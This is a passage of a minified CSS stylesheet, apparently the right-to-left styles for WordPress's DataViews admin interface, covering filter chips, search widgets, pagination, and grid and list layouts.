td:first-child,.components-card__body:has(>.dataviews-picker-wrapper) .dataviews-view-table tr th:first-child,.components-card__body:has(>.dataviews-wrapper) .dataviews-view-table tr td:first-child,.components-card__body:has(>.dataviews-wrapper) .dataviews-view-table tr th:first-child{ padding-inline-start:24px; } .components-card__body:has(>.dataviews-picker-wrapper) .dataviews-view-table tr td:last-child,.components-card__body:has(>.dataviews-picker-wrapper) .dataviews-view-table tr th:last-child,.components-card__body:has(>.dataviews-wrapper) .dataviews-view-table tr td:last-child,.components-card__body:has(>.dataviews-wrapper) .dataviews-view-table tr th:last-child{ padding-inline-end:24px; } .dataviews-bulk-actions-footer__item-count{ color:#1e1e1e; font-size:11px; font-weight:500; text-transform:uppercase; } .dataviews-bulk-actions-footer__container{ margin-left:auto; min-height:32px; } .dataviews-filters__button{ position:relative; } .dataviews-filters__container{ padding-top:0; } .dataviews-filters__reset-button.dataviews-filters__reset-button[aria-disabled=true],.dataviews-filters__reset-button.dataviews-filters__reset-button[aria-disabled=true]:hover{ opacity:0; } .dataviews-filters__reset-button.dataviews-filters__reset-button[aria-disabled=true]:focus{ opacity:1; } .dataviews-filters__summary-popover{ font-size:13px; line-height:1.4; } .dataviews-filters__summary-popover .components-popover__content{ border-radius:4px; max-width:250px; min-width:230px; width:100%; } .dataviews-filters__summary-popover.components-dropdown__content .components-popover__content{ padding:0; } .dataviews-filters__summary-operators-container{ padding:8px 16px; } .dataviews-filters__summary-operators-container:has(+.dataviews-filters__search-widget-listbox),.dataviews-filters__summary-operators-container:has(+.dataviews-filters__search-widget-no-elements),.dataviews-filters__summary-operators-container:has(+.dataviews-filters__user-input-widget){ border-bottom:1px solid #e0e0e0; } .dataviews-filters__summary-operators-container:empty{ display:none; } .dataviews-filters__summary-operators-container .dataviews-filters__summary-operators-filter-name{ color:#757575; flex-shrink:0; max-width:calc(100% - 55px); overflow:hidden; text-overflow:ellipsis; white-space:nowrap; } .dataviews-filters__summary-operators-container .dataviews-filters__summary-operators-filter-select{ overflow:hidden; white-space:nowrap; width:100%; } .dataviews-filters__summary-chip-container{ position:relative; white-space:pre-wrap; } .dataviews-filters__summary-chip-container .dataviews-filters__summary-chip{ align-items:center; background:#f0f0f0; border:1px solid #0000; border-radius:16px; box-sizing:border-box; color:#2f2f2f; cursor:pointer; display:flex; min-height:32px; padding:4px 12px; position:relative; } .dataviews-filters__summary-chip-container .dataviews-filters__summary-chip.is-not-clickable{ cursor:default; } .dataviews-filters__summary-chip-container .dataviews-filters__summary-chip.has-reset{ padding-inline-end:28px; } .dataviews-filters__summary-chip-container .dataviews-filters__summary-chip:focus-visible,.dataviews-filters__summary-chip-container .dataviews-filters__summary-chip:hover:not(.dataviews-filters__summary-chip-container .dataviews-filters__summary-chip.is-not-clickable),.dataviews-filters__summary-chip-container .dataviews-filters__summary-chip[aria-expanded=true]{ background:#e0e0e0; color:#1e1e1e; } .dataviews-filters__summary-chip-container .dataviews-filters__summary-chip.has-values{ background:rgba(var(--wp-admin-theme-color--rgb), .04); color:var(--wp-admin-theme-color); } .dataviews-filters__summary-chip-container .dataviews-filters__summary-chip.has-values:hover,.dataviews-filters__summary-chip-container .dataviews-filters__summary-chip.has-values[aria-expanded=true]{ background:rgba(var(--wp-admin-theme-color--rgb), .12); } .dataviews-filters__summary-chip-container .dataviews-filters__summary-chip:focus-visible{ box-shadow:0 0 0 var(--wp-admin-border-width-focus) var(--wp-admin-theme-color); outline:none; } .dataviews-filters__summary-chip-container .dataviews-filters__summary-chip .dataviews-filters-__summary-filter-text-name{ font-weight:500; } .dataviews-filters__summary-chip-container .dataviews-filters__summary-chip-remove{ align-items:center; background:#0000; border:0; border-radius:50%; cursor:pointer; display:flex; height:24px; justify-content:center; left:4px; padding:0; position:absolute; top:50%; transform:translateY(-50%); width:24px; } .dataviews-filters__summary-chip-container .dataviews-filters__summary-chip-remove svg{ fill:#757575; } .dataviews-filters__summary-chip-container .dataviews-filters__summary-chip-remove:focus,.dataviews-filters__summary-chip-container .dataviews-filters__summary-chip-remove:hover{ background:#e0e0e0; } .dataviews-filters__summary-chip-container .dataviews-filters__summary-chip-remove:focus svg,.dataviews-filters__summary-chip-container .dataviews-filters__summary-chip-remove:hover svg{ fill:#1e1e1e; } .dataviews-filters__summary-chip-container .dataviews-filters__summary-chip-remove.has-values svg{ fill:var(--wp-admin-theme-color); } .dataviews-filters__summary-chip-container .dataviews-filters__summary-chip-remove.has-values:hover{ background:rgba(var(--wp-admin-theme-color--rgb), .08); } .dataviews-filters__summary-chip-container .dataviews-filters__summary-chip-remove:focus-visible{ box-shadow:0 0 0 var(--wp-admin-border-width-focus) var(--wp-admin-theme-color); outline:none; } .dataviews-filters__search-widget-filter-combobox-list{ border-top:1px solid #e0e0e0; max-height:184px; overflow:auto; padding:4px; } .dataviews-filters__search-widget-filter-combobox-list .dataviews-filters__search-widget-filter-combobox-item-value [data-user-value]{ font-weight:600; } .dataviews-filters__search-widget-listbox{ overflow:auto; padding:4px; } .dataviews-filters__search-widget-listitem{ align-items:center; border-radius:2px; box-sizing:border-box; cursor:default; display:flex; font-family:-apple-system,"system-ui",Segoe UI,Roboto,Oxygen-Sans,Ubuntu,Cantarell,Helvetica Neue,sans-serif; font-size:13px; font-weight:400; gap:8px; line-height:20px; min-height:32px; padding:4px 12px; } .dataviews-filters__search-widget-listitem:last-child{ margin-block-end:0; } .dataviews-filters__search-widget-listitem:focus,.dataviews-filters__search-widget-listitem:hover,.dataviews-filters__search-widget-listitem[data-active-item]{ background-color:var(--wp-admin-theme-color); color:#fff; } .dataviews-filters__search-widget-listitem:focus .dataviews-filters__search-widget-listitem-description,.dataviews-filters__search-widget-listitem:hover .dataviews-filters__search-widget-listitem-description,.dataviews-filters__search-widget-listitem[data-active-item] .dataviews-filters__search-widget-listitem-description{ color:#fff; } .dataviews-filters__search-widget-listitem:focus .dataviews-filters__search-widget-listitem-single-selection,.dataviews-filters__search-widget-listitem:hover .dataviews-filters__search-widget-listitem-single-selection,.dataviews-filters__search-widget-listitem[data-active-item] .dataviews-filters__search-widget-listitem-single-selection{ background:#fff; border-color:var(--wp-admin-theme-color-darker-20, #183ad6); } .dataviews-filters__search-widget-listitem:focus .dataviews-filters__search-widget-listitem-single-selection.is-selected,.dataviews-filters__search-widget-listitem:hover .dataviews-filters__search-widget-listitem-single-selection.is-selected,.dataviews-filters__search-widget-listitem[data-active-item] .dataviews-filters__search-widget-listitem-single-selection.is-selected{ background:var(--wp-admin-theme-color-darker-20, #183ad6); border-color:var(--wp-admin-theme-color-darker-20, #183ad6); } .dataviews-filters__search-widget-listitem:focus .dataviews-filters__search-widget-listitem-multi-selection,.dataviews-filters__search-widget-listitem:hover .dataviews-filters__search-widget-listitem-multi-selection,.dataviews-filters__search-widget-listitem[data-active-item] .dataviews-filters__search-widget-listitem-multi-selection{ border-color:var(--wp-admin-theme-color-darker-20, #183ad6); } .dataviews-filters__search-widget-listitem:focus .dataviews-filters__search-widget-listitem-multi-selection.is-selected,.dataviews-filters__search-widget-listitem:hover .dataviews-filters__search-widget-listitem-multi-selection.is-selected,.dataviews-filters__search-widget-listitem[data-active-item] .dataviews-filters__search-widget-listitem-multi-selection.is-selected{ background:var(--wp-admin-theme-color-darker-20, #183ad6); border-color:var(--wp-admin-theme-color-darker-20, #183ad6); } .dataviews-filters__search-widget-listitem .dataviews-filters__search-widget-listitem-description{ color:#757575; display:block; font-size:12px; line-height:16px; overflow:hidden; text-overflow:ellipsis; } .dataviews-filters__search-widget-listitem .dataviews-filters__search-widget-listitem-single-selection{ border:1px solid #1e1e1e; border-radius:50%; height:24px; margin-left:12px; max-width:24px; min-width:24px; position:relative; transition:none; width:24px; } @media not (prefers-reduced-motion){ .dataviews-filters__search-widget-listitem .dataviews-filters__search-widget-listitem-single-selection{ transition:box-shadow .1s linear; } } @media (min-width:600px){ .dataviews-filters__search-widget-listitem .dataviews-filters__search-widget-listitem-single-selection{ height:16px; max-width:16px; min-width:16px; width:16px; } } .dataviews-filters__search-widget-listitem .dataviews-filters__search-widget-listitem-single-selection:checked:before{ background-color:#fff; border:4px solid #fff; box-sizing:inherit; height:12px; margin:0; position:absolute; right:50%; top:50%; transform:translate(50%, -50%); width:12px; } @media (min-width:600px){ .dataviews-filters__search-widget-listitem .dataviews-filters__search-widget-listitem-single-selection:checked:before{ height:8px; width:8px; } } .dataviews-filters__search-widget-listitem .dataviews-filters__search-widget-listitem-single-selection:focus{ box-shadow:0 0 0 2px #fff, 0 0 0 4px var(--wp-admin-theme-color); outline:2px solid #0000; } .dataviews-filters__search-widget-listitem .dataviews-filters__search-widget-listitem-single-selection:checked{ background:var(--wp-admin-theme-color); border:none; } .dataviews-filters__search-widget-listitem .dataviews-filters__search-widget-listitem-single-selection{ margin:0; padding:0; } .dataviews-filters__search-widget-listitem .dataviews-filters__search-widget-listitem-single-selection.is-selected{ background:var(--wp-admin-theme-color, #3858e9); border-color:var(--wp-admin-theme-color, #3858e9); } .dataviews-filters__search-widget-listitem .dataviews-filters__search-widget-listitem-single-selection.is-selected:before{ background-color:#fff; border:4px solid #fff; border-radius:50%; box-sizing:inherit; content:""; height:12px; margin:0; position:absolute; right:50%; top:50%; transform:translate(50%, -50%); width:12px; } @media (min-width:600px){ .dataviews-filters__search-widget-listitem .dataviews-filters__search-widget-listitem-single-selection.is-selected:before{ height:8px; width:8px; } } .dataviews-filters__search-widget-listitem .dataviews-filters__search-widget-listitem-multi-selection{ --checkbox-size:24px; border:1px solid #949494; border-radius:2px; box-shadow:0 0 0 #0000; font-family:-apple-system,BlinkMacSystemFont,Segoe UI,Roboto,Oxygen-Sans,Ubuntu,Cantarell,Helvetica Neue,sans-serif; font-size:16px; line-height:normal; margin-left:12px; padding:6px 8px; transition:none; } @media not (prefers-reduced-motion){ .dataviews-filters__search-widget-listitem .dataviews-filters__search-widget-listitem-multi-selection{ transition:box-shadow .1s linear; } } @media (min-width:600px){ .dataviews-filters__search-widget-listitem .dataviews-filters__search-widget-listitem-multi-selection{ font-size:13px; line-height:normal; } } .dataviews-filters__search-widget-listitem .dataviews-filters__search-widget-listitem-multi-selection:focus{ border-color:var(--wp-admin-theme-color); box-shadow:0 0 0 .5px var(--wp-admin-theme-color); } .dataviews-filters__search-widget-listitem .dataviews-filters__search-widget-listitem-multi-selection::-webkit-input-placeholder{ color:#1e1e1e9e; } .dataviews-filters__search-widget-listitem .dataviews-filters__search-widget-listitem-multi-selection::-moz-placeholder{ color:#1e1e1e9e; } .dataviews-filters__search-widget-listitem .dataviews-filters__search-widget-listitem-multi-selection:-ms-input-placeholder{ color:#1e1e1e9e; } .dataviews-filters__search-widget-listitem .dataviews-filters__search-widget-listitem-multi-selection:focus{ box-shadow:0 0 0 2px #fff, 0 0 0 4px var(--wp-admin-theme-color); outline:2px solid #0000; } .dataviews-filters__search-widget-listitem .dataviews-filters__search-widget-listitem-multi-selection:checked{ background:var(--wp-admin-theme-color); border-color:var(--wp-admin-theme-color); } .dataviews-filters__search-widget-listitem .dataviews-filters__search-widget-listitem-multi-selection:checked::-ms-check{ opacity:0; } .dataviews-filters__search-widget-listitem .dataviews-filters__search-widget-listitem-multi-selection:checked:before,.dataviews-filters__search-widget-listitem .dataviews-filters__search-widget-listitem-multi-selection[aria-checked=mixed]:before{ color:#fff; margin:-3px -5px; } @media (min-width:782px){ .dataviews-filters__search-widget-listitem .dataviews-filters__search-widget-listitem-multi-selection:checked:before,.dataviews-filters__search-widget-listitem .dataviews-filters__search-widget-listitem-multi-selection[aria-checked=mixed]:before{ margin:-4px -5px 0 0; } } .dataviews-filters__search-widget-listitem .dataviews-filters__search-widget-listitem-multi-selection[aria-checked=mixed]{ background:var(--wp-admin-theme-color); border-color:var(--wp-admin-theme-color); } .dataviews-filters__search-widget-listitem .dataviews-filters__search-widget-listitem-multi-selection[aria-checked=mixed]:before{ content:"\f460"; display:inline-block; float:right; font:normal 30px/1 dashicons; vertical-align:middle; width:16px; speak:none; -webkit-font-smoothing:antialiased; -moz-osx-font-smoothing:grayscale; } @media (min-width:782px){ .dataviews-filters__search-widget-listitem .dataviews-filters__search-widget-listitem-multi-selection[aria-checked=mixed]:before{ float:none; font-size:21px; } } .dataviews-filters__search-widget-listitem .dataviews-filters__search-widget-listitem-multi-selection:disabled,.dataviews-filters__search-widget-listitem .dataviews-filters__search-widget-listitem-multi-selection[aria-disabled=true]{ background:#f0f0f0; border-color:#ddd; cursor:default; opacity:1; } .dataviews-filters__search-widget-listitem .dataviews-filters__search-widget-listitem-multi-selection{ background:#fff; color:#1e1e1e; height:var(--checkbox-size); margin:0; padding:0; position:relative; width:var(--checkbox-size); } @media (min-width:600px){ .dataviews-filters__search-widget-listitem .dataviews-filters__search-widget-listitem-multi-selection{ --checkbox-size:16px; } } @media not (prefers-reduced-motion){ .dataviews-filters__search-widget-listitem .dataviews-filters__search-widget-listitem-multi-selection{ transition:border-color .1s ease-in-out; } } .dataviews-filters__search-widget-listitem .dataviews-filters__search-widget-listitem-multi-selection.is-selected{ background:var(--wp-admin-theme-color, #3858e9); border-color:var(--wp-admin-theme-color, #3858e9); } .dataviews-filters__search-widget-listitem .dataviews-filters__search-widget-listitem-multi-selection.is-selected svg{ --checkmark-size:var(--checkbox-size); fill:#fff; height:var(--checkmark-size); position:absolute; right:50%; top:50%; transform:translate(50%, -50%); width:var(--checkmark-size); } @media (min-width:600px){ .dataviews-filters__search-widget-listitem .dataviews-filters__search-widget-listitem-multi-selection.is-selected svg{ --checkmark-size:calc(var(--checkbox-size) + 4px); } } .dataviews-filters__search-widget-filter-combobox__wrapper{ padding:8px; position:relative; } .dataviews-filters__search-widget-filter-combobox__wrapper .dataviews-filters__search-widget-filter-combobox__input{ border:1px solid #949494; border-radius:2px; box-shadow:0 0 0 #0000; font-family:-apple-system,BlinkMacSystemFont,Segoe UI,Roboto,Oxygen-Sans,Ubuntu,Cantarell,Helvetica Neue,sans-serif; line-height:normal; padding:6px 8px; } @media not (prefers-reduced-motion){ .dataviews-filters__search-widget-filter-combobox__wrapper .dataviews-filters__search-widget-filter-combobox__input{ transition:box-shadow .1s linear; } } @media (min-width:600px){ .dataviews-filters__search-widget-filter-combobox__wrapper .dataviews-filters__search-widget-filter-combobox__input{ font-size:13px; line-height:normal; } } .dataviews-filters__search-widget-filter-combobox__wrapper .dataviews-filters__search-widget-filter-combobox__input:focus{ border-color:var(--wp-admin-theme-color); box-shadow:0 0 0 .5px var(--wp-admin-theme-color); outline:2px solid #0000; } .dataviews-filters__search-widget-filter-combobox__wrapper .dataviews-filters__search-widget-filter-combobox__input::-webkit-input-placeholder{ color:#1e1e1e9e; } .dataviews-filters__search-widget-filter-combobox__wrapper .dataviews-filters__search-widget-filter-combobox__input::-moz-placeholder{ color:#1e1e1e9e; } .dataviews-filters__search-widget-filter-combobox__wrapper .dataviews-filters__search-widget-filter-combobox__input:-ms-input-placeholder{ color:#1e1e1e9e; } .dataviews-filters__search-widget-filter-combobox__wrapper .dataviews-filters__search-widget-filter-combobox__input{ display:block; font-size:16px; height:32px; margin-left:0; margin-right:0; padding:0 32px 0 8px; width:100%; } @media (min-width:600px){ .dataviews-filters__search-widget-filter-combobox__wrapper .dataviews-filters__search-widget-filter-combobox__input{ font-size:13px; } } .dataviews-filters__search-widget-filter-combobox__wrapper .dataviews-filters__search-widget-filter-combobox__input:focus{ background:#fff; box-shadow:inset 0 0 0 var(--wp-admin-border-width-focus) var(--wp-admin-theme-color); } .dataviews-filters__search-widget-filter-combobox__wrapper .dataviews-filters__search-widget-filter-combobox__input::placeholder{ color:#757575; } .dataviews-filters__search-widget-filter-combobox__wrapper .dataviews-filters__search-widget-filter-combobox__input::-webkit-search-cancel-button,.dataviews-filters__search-widget-filter-combobox__wrapper .dataviews-filters__search-widget-filter-combobox__input::-webkit-search-decoration,.dataviews-filters__search-widget-filter-combobox__wrapper .dataviews-filters__search-widget-filter-combobox__input::-webkit-search-results-button,.dataviews-filters__search-widget-filter-combobox__wrapper .dataviews-filters__search-widget-filter-combobox__input::-webkit-search-results-decoration{ -webkit-appearance:none; } .dataviews-filters__search-widget-filter-combobox__wrapper .dataviews-filters__search-widget-filter-combobox__icon{ align-items:center; bottom:0; display:flex; inset-inline-start:12px; justify-content:center; position:absolute; top:0; width:24px; } .dataviews-filters__search-widget-filter-combobox__wrapper .dataviews-filters__search-widget-filter-combobox__icon:dir(ltr){ transform:scaleX(-1); } .dataviews-filters__container-visibility-toggle{ flex-shrink:0; position:relative; } .dataviews-filters-toggle__count{ background:var(--wp-admin-theme-color, #3858e9); border-radius:8px; box-sizing:border-box; color:#fff; font-size:11px; height:16px; left:0; line-height:16px; min-width:16px; outline:var(--wp-admin-border-width-focus) solid #fff; padding:0 4px; position:absolute; text-align:center; top:0; transform:translate(-50%, -50%); } .dataviews-search{ width:fit-content; } .dataviews-filters__user-input-widget{ padding:16px; } .dataviews-filters__user-input-widget .components-input-control__prefix{ padding-right:8px; } .dataviews-filters__search-widget-no-elements{ align-items:center; display:flex; justify-content:center; padding:16px; } .dataviews-footer{ background-color:#fff; border-top:1px solid #f0f0f0; bottom:0; flex-shrink:0; padding:12px 48px; position:sticky; right:0; } @media not (prefers-reduced-motion){ .dataviews-footer{ transition:padding .1s ease-out; } } .dataviews-footer{ z-index:2; } @container (max-width: 430px){ .dataviews-footer{ padding:12px 24px; } } @container (max-width: 560px){ .dataviews-footer{ flex-direction:column !important; } .dataviews-footer .dataviews-bulk-actions-footer__container{ width:100%; } .dataviews-footer .dataviews-bulk-actions-footer__item-count{ flex-grow:1; } .dataviews-footer .dataviews-pagination{ justify-content:space-between; width:100%; } } .dataviews-pagination__page-select{ font-size:11px; font-weight:500; text-transform:uppercase; } @media (min-width:600px){ .dataviews-pagination__page-select .components-select-control__input{ font-size:11px !important; font-weight:500; } } .dataviews-action-modal{ z-index:1000001; } .dataviews-picker-footer__bulk-selection{ align-self:flex-start; height:32px; } .dataviews-picker-footer__actions{ align-self:flex-end; } .dataviews-selection-checkbox{ --checkbox-input-size:24px; } @media (min-width:600px){ .dataviews-selection-checkbox{ --checkbox-input-size:16px; } } .dataviews-selection-checkbox{ flex-shrink:0; line-height:0; } .dataviews-selection-checkbox .components-checkbox-control__input-container{ margin:0; } .dataviews-view-config{ container-type:inline-size; font-size:13px; line-height:1.4; width:320px; } .dataviews-config__popover.is-expanded .dataviews-config__popover-content-wrapper{ height:100%; overflow-y:scroll; } .dataviews-config__popover.is-expanded .dataviews-config__popover-content-wrapper .dataviews-view-config{ width:auto; } .dataviews-view-config__sort-direction .components-toggle-group-control-option-base{ text-transform:uppercase; } .dataviews-settings-section__title.dataviews-settings-section__title{ font-size:15px; line-height:24px; } .dataviews-settings-section__sidebar{ grid-column:span 4; } .dataviews-settings-section__content,.dataviews-settings-section__content>*{ grid-column:span 8; } .dataviews-settings-section__content .is-divided-in-two{ display:contents; } .dataviews-settings-section__content .is-divided-in-two>*{ grid-column:span 4; } .dataviews-settings-section:has(.dataviews-settings-section__content:empty){ display:none; } @container (max-width: 500px){ .dataviews-settings-section.dataviews-settings-section{ grid-template-columns:repeat(2, 1fr); } .dataviews-settings-section.dataviews-settings-section .dataviews-settings-section__content,.dataviews-settings-section.dataviews-settings-section .dataviews-settings-section__sidebar{ grid-column:span 2; } } .dataviews-field-control__field{ height:32px; } .dataviews-field-control__actions{ position:absolute; top:-9999em; } .dataviews-field-control__actions.dataviews-field-control__actions{ gap:4px; } .dataviews-field-control__field.is-interacting .dataviews-field-control__actions,.dataviews-field-control__field:focus-within .dataviews-field-control__actions,.dataviews-field-control__field:hover .dataviews-field-control__actions{ position:unset; top:unset; } .dataviews-field-control__icon{ display:flex; width:24px; } .dataviews-field-control__label-sub-label-container{ flex-grow:1; } .dataviews-field-control__label{ display:block; } .dataviews-field-control__sub-label{ color:#757575; font-size:11px; font-style:normal; margin-bottom:0; margin-top:8px; } .dataviews-view-grid-items{ container-type:inline-size; display:grid; gap:32px; grid-template-columns:repeat(auto-fill, minmax(230px, 1fr)); grid-template-rows:max-content; margin-bottom:auto; padding:0 48px 24px; } @container (max-width: 430px){ .dataviews-view-grid-items{ padding-left:24px; padding-right:24px; } } @media not (prefers-reduced-motion){ .dataviews-view-grid-items{ transition:padding .1s ease-out; } } .dataviews-view-grid .dataviews-view-grid__card{ height:100%; justify-content:flex-start; position:relative; } .dataviews-view-grid .dataviews-view-grid__card .dataviews-view-grid__title-actions{ padding:8px 0 4px; } .dataviews-view-grid .dataviews-view-grid__card .dataviews-view-grid__title-field{ align-content:center; min-height:24px; overflow:hidden; text-align:start; } .dataviews-view-grid .dataviews-view-grid__card .dataviews-view-grid__title-field--clickable{ width:fit-content; } .dataviews-view-grid .dataviews-view-grid__card.is-selected .dataviews-view-grid__fields .dataviews-view-grid__field .dataviews-view-grid__field-value{ color:#1e1e1e; } .dataviews-view-grid .dataviews-view-grid__card .dataviews-view-grid__media:focus:after,.dataviews-view-grid .dataviews-view-grid__card.is-selected .dataviews-view-grid__media:after{ background-color:rgba(var(--wp-admin-theme-color--rgb), .08); } .dataviews-view-grid .dataviews-view-grid__card.is-selected .dataviews-view-grid__media:after{ box-shadow:inset 0 0 0 1px var(--wp-admin-theme-color); } .dataviews-view-grid .dataviews-view-grid__card .dataviews-view-grid__media:focus:after{ box-shadow:inset 0 0 0 var(--wp-admin-border-width-focus) var(--wp-admin-theme-color); } .dataviews-view-grid .dataviews-view-grid__media{ aspect-ratio:1/1; background-color:#fff; border-radius:4px; overflow:hidden; position:relative; width:100%; } .dataviews-view-grid .dataviews-view-grid__media img{ height:100%; object-fit:cover; width:100%; } .dataviews-view-grid .dataviews-view-grid__media:after{ border-radius:4px; box-shadow:inset 0 0 0 1px #0000001a; content:""; height:100%; pointer-events:none; position:absolute; right:0; top:0; width:100%; } .dataviews-view-grid .dataviews-view-grid__fields{ font-size:12px; line-height:16px; position:relative; } .dataviews-view-grid .dataviews-view-grid__fields:not(:empty){ padding:0 0 12px; } .dataviews-view-grid .dataviews-view-grid__fields .dataviews-view-grid__field-value:not(:empty){ line-height:20px; min-height:24px; padding-top:2px; } .dataviews-view-grid .dataviews-view-grid__fields .dataviews-view-grid__field{ align-items:center; min-height:24px; } .dataviews-view-grid .dataviews-view-grid__fields .dataviews-view-grid__field .dataviews-view-grid__field-name{ color:#757575; overflow:hidden; text-overflow:ellipsis; white-space:nowrap; width:35%; } .dataviews-view-grid .dataviews-view-grid__fields .dataviews-view-grid__field .dataviews-view-grid__field-value{ overflow:hidden; text-overflow:ellipsis; white-space:nowrap; width:65%; } .dataviews-view-grid .dataviews-view-grid__fields .dataviews-view-grid__field:not(:has(.dataviews-view-grid__field-value:not(:empty))){ display:none; } .dataviews-view-grid .dataviews-view-grid__badge-fields:not(:empty){ padding-bottom:12px; } .dataviews-view-grid__field-value:empty,.dataviews-view-grid__field:empty{ display:none; } .dataviews-view-grid__card .dataviews-selection-checkbox{ opacity:0; position:absolute; right:8px; top:-9999em; z-index:1; } @media not (prefers-reduced-motion){ .dataviews-view-grid__card .dataviews-selection-checkbox{ transition:opacity .1s linear; } } @media (hover:none){ .dataviews-view-grid__card .dataviews-selection-checkbox{ opacity:1; top:8px; } } .dataviews-view-grid__card.is-selected .dataviews-selection-checkbox,.dataviews-view-grid__card:focus-within .dataviews-selection-checkbox,.dataviews-view-grid__card:hover .dataviews-selection-checkbox{ opacity:1; top:8px; } .dataviews-view-grid__card .dataviews-view-grid__media-actions{ left:4px; opacity:0; position:absolute; top:4px; } .dataviews-view-grid__card .dataviews-view-grid__media-actions .dataviews-all-actions-button{ background-color:#fff; } @media not (prefers-reduced-motion){ .dataviews-view-grid__card .dataviews-view-grid__media-actions{ transition:opacity .1s linear; } } @media (hover:none){ .dataviews-view-grid__card .dataviews-view-grid__media-actions{ opacity:1; top:4px; } } .dataviews-view-grid__card .dataviews-view-grid__media-actions:has(.dataviews-all-actions-button[aria-expanded=true]),.dataviews-view-grid__card:focus-within .dataviews-view-grid__media-actions,.dataviews-view-grid__card:hover .dataviews-view-grid__media-actions{ opacity:1; } .dataviews-view-grid__media--clickable{ cursor:pointer; } .dataviews-view-grid__group-header{ color:#1e1e1e; container-type:inline-size; font-size:15px; font-weight:500; margin:0 0 8px; padding:0 48px; } @container (max-width: 430px){ .dataviews-view-grid__group-header{ padding-left:24px; padding-right:24px; } } div.dataviews-view-list{ list-style-type:none; } .dataviews-view-list{ margin:0 0 auto; } .dataviews-view-list div[role=article],.dataviews-view-list div[role=row]{ border-top:1px solid #f0f0f0; margin:0; } .dataviews-view-list div[role=article] .dataviews-view-list__item-wrapper,.dataviews-view-list div[role=row] .dataviews-view-list__item-wrapper{ box-sizing:border-box; padding:16px 24px; position:relative; } .dataviews-view-list div[role=article] .dataviews-view-list__item-actions,.dataviews-view-list div[role=row] .dataviews-view-list__item-actions{ display:flex; flex:0 0 auto; gap:4px; white-space:nowrap; width:max-content; } .dataviews-view-list div[role=article] .dataviews-view-list__item-actions .components-button,.dataviews-view-list div[role=row] .dataviews-view-list__item-actions .components-button{ position:relative; z-index:1; } .dataviews-view-list div[role=article] .dataviews-view-list__item-actions>div,.dataviews-view-list div[role=row] .dataviews-view-list__item-actions>div{ height:24px; } .dataviews-view-list div[role=article] .dataviews-view-list__item-actions>:not(:last-child),.dataviews-view-list div[role=row] .dataviews-view-list__item-actions>:not(:last-child){ flex:0; overflow:hidden; width:0; } .dataviews-view-list div[role=article]:where(.is-selected,.is-hovered,:focus-within) .dataviews-view-list__item-actions>:not(:last-child),.dataviews-view-list div[role=row]:where(.is-selected,.is-hovered,:focus-within) .dataviews-view-list__item-actions>:not(:last-child){ flex-basis:min-content; overflow:unset; width:auto; } @media (hover:none){ .dataviews-view-list div[role=article] .dataviews-view-list__item-actions>:not(:last-child),.dataviews-view-list div[role=row] .dataviews-view-list__item-actions>:not(:last-child){ flex-basis:min-content; overflow:unset; width:auto; } } .dataviews-view-list div[role=article].is-selected.is-selected,.dataviews-view-list div[role=article].is-selected.is-selected+div[role=article],.dataviews-view-list div[role=article].is-selected.is-selected+div[role=row],.dataviews-view-list div[role=row].is-selected.is-selected,.dataviews-view-list div[role=row].is-selected.is-selected+div[role=article],.dataviews-view-list div[role=row].is-selected.is-selected+div[role=row]{ border-top:1px solid rgba(var(--wp-admin-theme-color--rgb), .12); } .dataviews-view-list div[role=article]:not(.is-selected) .dataviews-view-list__title-field,.dataviews-view-list div[role=row]:not(.is-selected) .dataviews-view-list__title-field{ color:#1e1e1e; } .dataviews-view-list div[role=article]:not(.is-selected).is-hovered,.dataviews-view-list div[role=article]:not(.is-selected):focus-within,.dataviews-view-list div[role=article]:not(.is-selected):hover,.dataviews-view-list div[role=row]:not(.is-selected).is-hovered,.dataviews-view-list div[role=row]:not(.is-selected):focus-within,.dataviews-view-list div[role=row]:not(.is-selected):hover{ background-color:#f8f8f8; color:var(--wp-admin-theme-color); } .dataviews-view-list div[role=article]:not(.is-selected).is-hovered .dataviews-view-list__fields,.dataviews-view-list div[role=article]:not(.is-selected).is-hovered .dataviews-view-list__title-field,.dataviews-view-list div[role=article]:not(.is-selected):focus-within .dataviews-view-list__fields,.dataviews-view-list div[role=article]:not(.is-selected):focus-within .dataviews-view-list__title-field,.dataviews-view-list div[role=article]:not(.is-selected):hover .dataviews-view-list__fields,.dataviews-view-list div[role=article]:not(.is-selected):hover .dataviews-view-list__title-field,.dataviews-view-list div[role=row]:not(.is-selected).is-hovered .dataviews-view-list__fields,.dataviews-view-list div[role=row]:not(.is-selected).is-hovered .dataviews-view-list__title-field,.dataviews-view-list div[role=row]:not(.is-selected):focus-within .dataviews-view-list__fields,.dataviews-view-list div[role=row]:not(.is-selected):focus-within .dataviews-view-list__title-field,.dataviews-view-list div[role=row]:not(.is-selected):hover .dataviews-view-list__fields,.dataviews-view-list div[role=row]:not(.is-selected):hover .dataviews-view-list__title-field{ color:var(--wp-admin-theme-color); } .dataviews-view-list div[role=article].is-selected .dataviews-view-list__item-wrapper,.dataviews-view-list div[role=article].is-selected:focus-within .dataviews-view-list__item-wrapper,.dataviews-view-list div[role=row].is-selected .dataviews-view-list__item-wrapper,.dataviews-view-list div[role=row].is-selected:focus-within .dataviews-view-list__item-wrapper{ background-color:rgba(var(--wp-admin-theme-color--rgb), .04); color:#1e1e1e; } .dataviews-view-list div[role=article].is-selected .dataviews-view-list__item-wrapper .dataviews-view-list__fields,.dataviews-view-list div[role=article].is-selected .dataviews-view-list__item-wrapper .dataviews-view-list__title-field,.dataviews-view-list div[role=article].is-selected:focus-within .dataviews-view-list__item-wrapper .dataviews-view-list__fields,.dataviews-view-list div[role=article].is-selected:focus-within .dataviews-view-list__item-wrapper .dataviews-view-list__title-field,.dataviews-view-list div[role=row].is-selected .dataviews-view-list__item-wrapper .dataviews-view-list__fields,.dataviews-view-list div[role=row].is-selected .dataviews-view-list__item-wrapper .dataviews-view-list__title-field,.dataviews-view-list div[role=row].is-selected:focus-within .dataviews-view-list__item-wrapper .dataviews-view-list__fields,.dataviews-view-list div[role=row].is-selected:focus-within .dataviews-view-list__item-wrapper .dataviews-view-list__title-field{ color:var(--wp-admin-theme-color); } .dataviews-view-list .dataviews-view-list__item{ appearance:none; background:none; border:none; cursor:pointer; inset:0; padding:0; position:absolute; scroll-margin:8px 0; z-index:1; } .dataviews-view-list .dataviews-view-list__item:focus-visible{ outline:none; } .dataviews-view-list .dataviews-view-list__item:focus-visible:before{ border-radius:2px; box-shadow:inset 0 0 0 var(--wp-admin-border-width-focus) var(--wp-admin-theme-color); content:""; inset:var(--wp-admin-border-width-focus); outline:2px solid #0000; position:absolute; } .dataviews-view-list .dataviews-view-list__title-field{ flex:1; line-height:24px; min-height:24px; overflow:hidden; } .dataviews-view-list 